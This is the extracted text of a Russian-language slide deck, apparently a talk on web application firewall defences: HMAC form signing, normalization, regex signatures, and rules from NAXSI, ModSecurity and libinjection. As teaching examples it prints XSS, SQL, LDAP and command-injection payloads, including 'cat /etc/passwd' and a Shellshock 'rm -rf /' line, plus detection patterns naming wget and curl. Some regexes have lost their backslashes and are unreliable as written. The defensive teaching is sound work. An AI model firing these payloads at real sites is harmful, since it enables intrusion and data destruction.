Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
function getID(request) {
var rawID = request.getValue('id');
var id = hexdecode(base64decode(rawID));
return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d
// id = <script>alert(1)</script>
Исходный код
ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<script>alert(1)</script>
ЗаголовокМинута из жизни WAF
GET /app?callback=delete_user_data HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<html><body><script type="text/javascript">
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
ЗаголовокМинута из жизни WAF
GET /app?callback=delete_user_data HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<html><body><script type="text/javascript">
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
Заголовок
Эвристические методы защиты
Заголовок
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
• Виртуальный патчинг
Методы защиты
Заголовок
Аутентификация веб-форм
ЗаголовокВ чем проблема?
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="">
<input type="text" name="email" value="user@myshop.com">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&email=user@myshop.com
Заголовок
• CSRF
• SSRF
• Injections (SQLi, XSS, LDAPi, …)
• Access control attacks (IDOR)
• Business logic attacks
Форма одна, атак много…
ЗаголовокПример
Заголовок
«Подписи запросов» API
• Yahoo, Amazon S3, Facebook
ASP.NET Framework
• Event Validation
• View State MAC
WAF
• ModSecurity: HMAC Token Protection
• F5 Networks ASM: Dynamic Content Value
• Citrix NetScaler: Form Signature
• PT AF: Form Signing
Механизм защиты
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Параметры:
• h – функция HMAC
• p – значение параметра
• k – секретный ключ сервера
Элементарный протокол
ЗаголовокЭлементарный протокол
<html>
<body>
<form action="update" method="POST">
<input type="text" name="price" value="100">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
price=100
Заголовок
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов
• Checkbox
• Option
• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых элементов форм в HTTP-запросах
Ввод данных на стороне клиента
Сложности на практике
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Как использовать этот протокол, если значение p формируется
в браузере на основе ввода пользователя?
Ввод данных на стороне клиента
Заголовок
Client ← Server: p, h(k, Tr(p, regex))
Client → Server: p', h(k, Tr(p, regex))
Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))
Параметры:
• regex – валидирующее регулярное выражение для значения параметра
• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих
regex
• Tr("abc123", "[a-z]+" ) = "123"
Валидирующее хэширование
key
string
regex R
HMAC of L(R)
Заголовок
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры
• Имя
• [Значение]
• [Тип]
Метод вычисления токена
Заголовок
2. Построение контейнеров формы
• Контейнер скрытых полей - HFC
HFC = {hp1_name, …, hpM_name}
• Контейнер опциональных полей - OFC
OFC = {
{op1_name, op1_value1, …, op1_valueN1},
…,
{opL_name, opL_value1, …, opL_valueNL}
}
Метод вычисления токена
Заголовок
3. Вычисление подписи
signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))
• k – секретный ключ
• time – текущее значение времени
Метод вычисления токена
Заголовок
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей, если они есть
7. Формирование ABS и его проверка
Метод проверки токена
Заголовок
• Нельзя защитить формы, динамически сгенерированные
на стороне клиента средствами JavaScript
• Нельзя защитить формы, отправленные средствами JavaScript
• Необходимо различать запросы, отправленные средствами
веб-форм от запросов AJAX
• Сложно защитить формы, отправляемые на сервер
методом GET
Ограничения метода
Заголовок
• Защита приложения от анализа
• Уменьшение поверхности атак на приложение
• Противодействие средствам автоматизации
• Предотвращение использования известных эксплойтов
Результаты
ЗаголовокПример: исходная форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
ЗаголовокПример: описание языка
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
Регулярный язык: d+
ЗаголовокПример: генерация токена
ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")
HFC = "#price#role"
signature = HMAC(k, HFC · HMAC(k, ABS, time))
token = base64(HFC · signature · time)
ЗаголовокПример: новая форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
<input type="hidden" name="token" value="2341234123…">
</form>
</body>
</html>
ЗаголовокПример: аутентичный запрос
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака CSRF
POST /delete HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=
ЗаголовокПример: атака повтора
POST /admin/delete_account HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=43538475283745823748572345374527345
user=100001&token=2341234123…
ЗаголовокПример: атака на бизнес-логику
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака HPP
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&price=-100&token=2341234123…
ЗаголовокПример: атака IDOR
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака XSS
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
Заголовок
Обнаружение инъекций
Заголовок
Normalization
Negative security model (Blacklisting)
• Signature-based (regular expressions, text)
• Rule-based
• Syntax-based
Positive security model (Whitelisting)
• Static Profiling
• Dynamic Profiling
• Machine learning
Механика обнаружения инъекций
Web Application Firewall Evaluation Criteria
Заголовок
Основной признак инъекции
Заголовок
Алгоритм формирования выходных данных DOUTPUT на основе
входных данных DINPUT уязвим к атаке инъекции, если
дерево разбора (parse tree) для DOUTPUT зависит от DINPUT
Признак уязвимости к инъекции
ЗаголовокПример
http://example.com/foo.html#1
http://example.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
<script> var foo = 1; <script>
ЗаголовокПример
var foo = 1; var foo = 1; alert(1);
Заголовок
SQL: id=42' or 1=1-- -
HTML: 111"><a href = "//evil.com">
JavaScript: 1"; alert(document.domain);//
Shell Command Injection: 192.168.10.1 && cat /etc/passwd
LDAP Injection: admin)|((userpassword=*)
XPath Injection: user' or name()='admin' or 'x'='y
Shellshock: test () { :; }; rm –rf /
Примеры инъекций
Заголовок
Нормализация
Заголовок
Нормализация – процесс преобразования данных к виду, понимаемому
защищаемым веб-приложением
Цель – устранение недостатка типа Differential Parsing
Кодирование
• URL decoding
• Null-byte string termination
• BASE64 decoding
• HTML entities decoding
• Double encoding
Парсинг
• URL Path
• HTTP Parameters
• Hostname
Нормализация
ЗаголовокПример
GET /update?id=1+union+select+1/* HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
ЗаголовокПример
GET /update?id=1;select+1&id=2,3# HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Cookie: session=38475238453847523847523847583475238475
ASP.NET/IIS
id = 1;SELECT 1,2,3 #
PHP/Apache
id = 2,3 #
ЗаголовокОбработка Path
ЗаголовокHTTP Parameter Pollution
ЗаголовокHTTP Parameter Contamination
Заголовок
Основные принципы нормализации
• Приведение обрабатываемых данных к такому же формату и виду,
к каким приведет его защищаемое веб-приложение
• Эквивалентный парсинг
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding
Network Intrusion Detection. Secure Networks, Inc. 1998
Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls
Нормализация
Заголовок
Negative Security Model
Заголовок
Лексический подход (регулярные выражения)
Лексико-сигнатурный подход
• Libinjection (Nick Galbreath)
Синтаксический подход (parsing-based)
• Dejector (Patterson, Hansen)
• Libdetection (Wallarm)
• Waf.js (Positive Technologies)
• Indexed syntax graph (Shape Security)
Negative Security Model
Заголовок
Лексический подход
Заголовок
Использование регулярных выражений (конечных автоматов)
для распознавания регулярного языка атак
Имеется L – регулярный язык атак, заданный регулярными
выражениями R
Если входное слово принадлежит языку L, т. е. допускается
регулярным выражением из R, то входное слово – атака
Лексический подход
ЗаголовокЛексический подход
(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?:"|')|((?:'|
")WScript.Shell)
LDAP Search Filter Injection
(?:((?:W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)bW*?=|[^wx80-xFF]*?[!&|][^wx80-
xFF]*?()|)[^wx80-xFF]*?([^wx80-xFF]*?[!&|])
Reflected File Download
SSRF
(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress.zlib|glob|data)://
(?i:(?:[;|`]W*?bcc|b(wget|curl))b|/cc(?:['"|;`-s]|$))
OS Command Injection
SSI Injection
<!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)
ЗаголовокЛексический подход
Reflected File Download
ЗаголовокЛексический подход
SQL Injection
# Detect SQL Comment Sequences
(/*!?|*/|[';]--|--[srnvf]|(?:--[^-]*?-)|([^-&])#.*?[srnvf]|;?x00)
# SQL Hex Evasion Methods
(?i:(?:A|[^d])0x[a-fd]{3,}[a-fd]*)+
# String Termination/Statement Ending Injection Testing
(^["'`´’‘;]+|["'`´’‘;]+$)
# SQL Operators
(?i:(!=|&&||||>>|<<|>=|<=|<>|<=>|bxorb|brlikeb|bregexpb|bisnullb)|(?:nots+betweens+0s+and)|(?:iss+null)|(likes+
null)|(?:(?:^|W)in[+s]*([sd"]+[^()]*))|(?:bxorb|<>|rlike(?:s+binary)?)|(?:regexps+binary))
# SQL Tautologies
(?i:([s'"`´’‘()]*?)b([dw]++)([s'"`´’‘()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`´’‘()]*?)2b|(?:!=|<=|>=|<>|<|>|^|iss
+not|nots+like|nots+regexp)([s'"`´’‘()]*?)(?!2)([dw]+)b))
# Detect DB Names
(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast
er..sysdatabases|ysql.db)|s(?:ys(?:.database_name|aux)|chema(?:W*(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)eW*(|
information_schema|pg_(catalog|toast)|northwind|tempdb))
ЗаголовокЛексический подход
SQL Injection
(?i:b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u
ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_
(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca
se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp
diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|
o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas
e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad
d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)
|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig
ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)W*(|b(?:(?:s(?:ele
ctb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p
_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv
archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts
ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nionb.{1,10
0}?bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|eletebW*?bfrom)|groupb.*bbyb.{1,100}?bhaving|open(?:rowset|owa_util|query)|loadbW*
?bdatab.*binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)b|i(?:n(?:tobW*?b(?:dump|out)file|sertbW*?binto|nerbW*?bjoin)b|(?:f(?:
bW*?(W*?bbenchmark|nullb)|snullb)W*?()|printbW*?@@|castbW*?()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(
?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)W*(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)W*(|llationW*
(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)W*(|bms_
w+.b)|(?:;W*?b(?:shutdown|drop)|@@version)b|butl_inaddrb|bsys_contextb|'(?:s(?:qloledb|a)|msdasql|dbo)'))
Заголовок
Регулярные выражения – определение языка атак
Правила – определение контекста и логики
Правила
• Условия
• Ограничения
• Контекст
• Источники
• Корреляции
• Реакции
Правила
ЗаголовокПример правил CloudFlare WAF
Anonymous Attack
rule 1234567A Simple POST botnet
REQUEST_METHOD is POST and
REQUEST_URI is /q
deny
rule 12345679 Anonymous attack
REQUEST_METHOD is GET and
REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
ЗаголовокПример правил: NAXSI
SQL injection
## Hardcore rules
MainRule "str:/*" "msg:mysql comment (/*)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1003;
MainRule "str:*/" "msg:mysql comment (*/)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1004;
MainRule "str:|" "msg:mysql keyword (|)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1005;
MainRule "str:&&" "msg:mysql keyword (&&)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1006;
## end of hardcore rules
MainRule "str:--" "msg:mysql comment (--)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1007;
MainRule "str:;" "msg:semicolon" "mz:BODY|URL|ARGS" "s:$SQL:4,$XSS:8" id:1008;
MainRule "str:=" "msg:equal sign in var, probable sql/xss" "mz:ARGS|BODY" "s:$SQL:2" id:1009;
MainRule "str:(" "msg:open parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1010;
MainRule "str:)" "msg:close parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1011;
MainRule "str:'" "msg:simple quote" "mz:ARGS|BODY|URL|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1013;
MainRule "str:," "msg:comma" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1015;
MainRule "str:#" "msg:mysql comment (#)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1016;
MainRule "str:@@" "msg:double arobase (@@)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1017;
Заголовок
• Использует бальную систему (scoring)
• Не использует сигнатуры
Пример правил: NAXSI
ЗаголовокПример правил: ModSecurity
Heuristic Checks
#
# -=[ Heuristic Checks ]=-
#
# [ Repeatative Non-Word Chars ]
#
# This rule attempts to identify when multiple (4 or more) non-word characters are repeated in
sequence
#
SecRule ARGS "W{4,}"
"phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac
curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word
Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva
r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
ЗаголовокПример правил: PT AF
Reflected File Download
{
"rule": {
"and": [ {
"REQUEST_URI": {
"regex":
"(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?
:x22|')|((?:'|x22)WScript.Shell)"
}
},
{
"RESPONSE_HEADERS;content-disposition": {
"itext": "attachment"
}
}
]
}
}
Заголовок
Лексико-сигнатурный подход
Заголовок
Предложил Nick Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптирован для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Токенизация в соответствии с универсальной грамматикой лексера
в 3-х контекстах
• Строится свертка токенов
• Строка из первых пяти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
Лексико-сигнатурный подход
ЗаголовокПример
input = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
Токены
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены Сигнатура
1s1s1s
ЗаголовокПример
input = 42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
